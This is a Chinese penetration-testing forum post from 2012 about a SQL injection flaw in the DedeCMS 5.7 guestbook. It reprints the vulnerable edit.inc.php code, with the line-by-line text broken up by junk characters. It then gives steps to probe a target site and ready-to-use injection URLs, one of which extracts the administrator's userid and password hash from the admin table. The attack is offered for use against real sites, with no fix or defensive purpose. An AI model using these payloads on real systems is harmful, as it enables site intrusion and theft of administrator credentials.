中国网络渗透测试联盟
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
[打印本页]
作者:
admin
时间:
2012-11-13 13:24
标题:
dedecms5.7最新sql注射漏洞利用 guestbook.php
影响版本为5.7
9 R5 H0 b1 ?5 _( b0 \1 }* y
i$ ]3 C" d4 h, Q) G
漏洞文件edit.inc.php具体代码:
, z! C' s) o* M
- `, N1 U) S- h6 c
< ?php
9 N$ u8 Y4 T# j, H2 h
4 O7 V8 z9 f0 Z5 G O4 H
if(!defined('DEDEINC')) exit('Request Error!');
& o+ f( w- V, I0 N: U
4 I+ W2 L1 [- Z0 H
' |5 K8 \. t+ q a- j/ w C, p
1 T) E \) x# f. A6 T
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
4 [% _& Q) L ^) ~
. i; W1 t# h( R+ I0 a% F: U t. t4 {
else $GUEST_BOOK_POS = "guestbook.php";
, v) L2 l' M6 p M8 S
2 B) \/ U `4 E5 l
5 U& d* t+ i) d3 y) c* u# c3 d
5 X( Y1 [" j- K
$id = intval($id);
+ |8 D4 k. _, ]2 |' @ s
n2 \# s* V8 g" s9 N; d* ~9 f
if(empty($job)) $job='view';
6 c( p" _4 H% p$ b
9 L! Y: F( X9 c( k' n
+ Q. @: O& ~6 e- u1 x9 \
4 ]- U7 V" W: g1 D, C- y1 E
if($job=='del' && $g_isadmin)
- M, S1 R5 }" w% \% \" B
: F1 `/ ?2 ^2 E
{
8 x1 n. ?" d; S
/ r* A) b0 s/ k+ r
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
; N% P. H; v! E( {0 e
) _0 {; V, D& m7 J$ j
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
& H1 H- ^0 c1 a" C# E5 u
1 {; N3 i4 P9 v# K$ R- g! z2 ^
exit();
+ O. n9 j G1 H* l y
$ g; V5 `7 v% V4 h1 ]0 ?% j. a
}
0 Q/ j# A' U0 e, n
7 z/ E2 H5 K% L7 U
else if($job=='check' && $g_isadmin)
8 ]1 c2 N) y' i4 e
! x( Q' r$ m# `
{
* H3 v7 |" K/ B. q/ Z9 H8 [
2 ], x4 ?. q/ D, k+ ~0 j8 F
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
: B( t& S: |/ i) H
( t5 T% m t: x4 x. H6 p
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
# j9 Q% I8 z, K( ]7 R, s( _
Y" x" V0 P/ a) K' |* u
exit();
1 y8 f0 |/ k. F0 n5 D( Z" T" ]% U
2 Q2 l& w; G, K8 U2 C
}
1 U8 [& O+ Q+ p& l
& \! F: K3 a5 y3 k6 _1 C" F& l
else if($job=='editok')
) b7 Y: z9 S1 y. \: a
# S a s2 M5 ~
{
2 \( b2 b/ }+ P5 Y- ~. i: Y
, z3 B- M! A( ~3 e/ e* ~
$remsg = trim($remsg);
) P! I0 {" @ [6 o8 B! ^
) f: T/ ~! q& b
if($remsg!='')
* ?" `- {" L2 t- F' A) L
7 V: a( }& i( n* ]
{
: e1 E& X: Z4 m
% T& F: c! K( g" z' K" w% a
//管理员回复不过滤HTML By:Errorera blog:errs.cc
1 j' m; y/ q+ f
% m8 t1 d' W. s1 s, O. }1 |
if($g_isadmin)
$ } t# e$ o. L1 x
7 L; I; U+ M1 C3 H" P& @7 R' o4 }
{
7 k E* g' i9 B* `1 W ]8 Y7 I
9 t S% {; ]4 C4 r4 s
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;
$ W* B( g0 O. k* f
+ O9 j2 B* i6 E' ?9 q
//$remsg <br /><font color=red>管理员回复:</font> }
" d; m9 O) x# S( ?$ x! @
2 w9 V% U, i- y+ l9 q3 |2 m! j
else
. b1 G7 U# g' f1 ^
/ ]1 N, L% }# c$ R
{
( ]$ b& _4 Z M: n+ Y
/ c w, ^, B/ P) _+ @+ m
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
6 C0 S: g0 ^( F3 p% E- U: m n; O% s
4 y1 z+ Z3 v$ g \8 T* O/ x2 N9 B' S
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
* x' N1 `1 g( A: m
1 H, q% g7 W2 l
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
0 p) P% g8 r4 f G- y$ g
1 A2 p! c+ F5 f) ~4 k6 N
$msg = $oldmsg.$remsg;
( J- }" o- r$ R1 L. M7 N: K/ l
9 ^" b' R$ u6 r( @9 b1 `+ P5 f
}
9 A( O* B2 W/ N+ T0 r, Q
5 \/ `5 \& E4 A; s
}
4 x( T0 X B" ?( `: t5 g
4 q- O0 T2 a& S: ?/ b& e) t! y3 j6 T
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:
www.errs.cc
5 t+ |9 t& n$ b
& ]; `- f1 ^$ U0 f8 o
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
7 ~6 v4 J' p" |4 J% Y
9 d* D1 E1 T/ d. `) S
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
- s; B7 J3 S: `: E
9 B- X$ O8 j8 w8 g; A, P/ ?. C
exit();
+ M0 y( p& t8 O3 S0 g3 g
% M3 M* q: h. A
}
& k0 z# z- g1 ~
T& F: K% \( n) S: u: p3 Y3 B) p) h
//home:
www.errs.cc
* W; [; W6 K3 {7 {
' V9 d" O0 T# i9 U. @
if($g_isadmin)
! w& k! x& W& d6 S
a& d. Y- H1 C5 R- \6 U5 o
{
, y8 y4 I3 C" H% q4 ^1 `0 W+ Q$ F* ^
; z' }( {! R3 E
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
2 _1 h5 ^% p$ D$ K3 m, w% q- P, b8 F
$ m- n% _% C- W" B! C
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
5 X+ K8 h* W2 B+ @3 e0 ^9 I# V
/ a- s- o( u1 J4 I
}
; l7 }# j5 K6 I# M8 ?' _ @
4 q7 }% m1 g$ t6 \; b4 g# W2 ~. ~
else
" Q* y4 c2 }+ S# Q
. D+ S6 {4 i4 b, N
{
3 s: G3 i4 o: H4 ^& D" C
2 G% G- J: h m6 I9 u `
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
% m; t8 g8 h& d+ {9 I
! M8 w, u2 N9 o* h) V" [3 P8 c- `' Q
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
* q* h$ A0 t# m' p: R, A) |
) x y% U F" o! j
} 漏洞成功需要条件:
) d: N- `$ d0 u, |
1. php magic_quotes_gpc=off
, c) A4 ~+ @- |- k* I
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
; {0 y1 l- c3 y0 n/ s2 ^
7 `+ s* i3 c( r+ k
怎么判断是否存在漏洞:
2 _+ l3 ?' N% D) u( E1 ]4 w4 y! o
先打开
www.xxx.com/plus/guestbook.php
可以看到别人的留言,
/ \( S ]/ c, Q
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
( C. F3 p8 R: b: l* j7 c5 ?6 i9 f
访问:
- Q$ w2 z0 K' ^& W; N/ v* n
0 J0 b+ J4 p' d9 N
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc
存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
5 ?. [, n$ w7 P: H, w3 G$ M6 t1 q* _
跳回到
www.xxx.com/plus/guestbook.php
看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
! a3 n# d# r5 {& g9 Y
7 _3 b) f! P' s: O' c& J
Z) ~" J* F8 [, O' ^- Q
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
' d2 a6 \0 y% e( _
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
) ~% q# w" J0 B D
那么再次访问
1 _4 O j1 Y8 o! r3 R
3 ^5 ~% F/ W8 N% p0 ?# ?1 T2 r; s9 E
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=
存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
, Z8 z& X0 U- Z7 A
( p N0 s( h L# `2 Z
大概利用就是这样,大家有兴趣的多研究下!!
; R# J! g7 Q( k# q& {1 U P- w
b1 T7 J. r1 Q; w8 l; v
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
! f/ O' F+ J2 ~0 o
O, N# B* M/ \" _
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2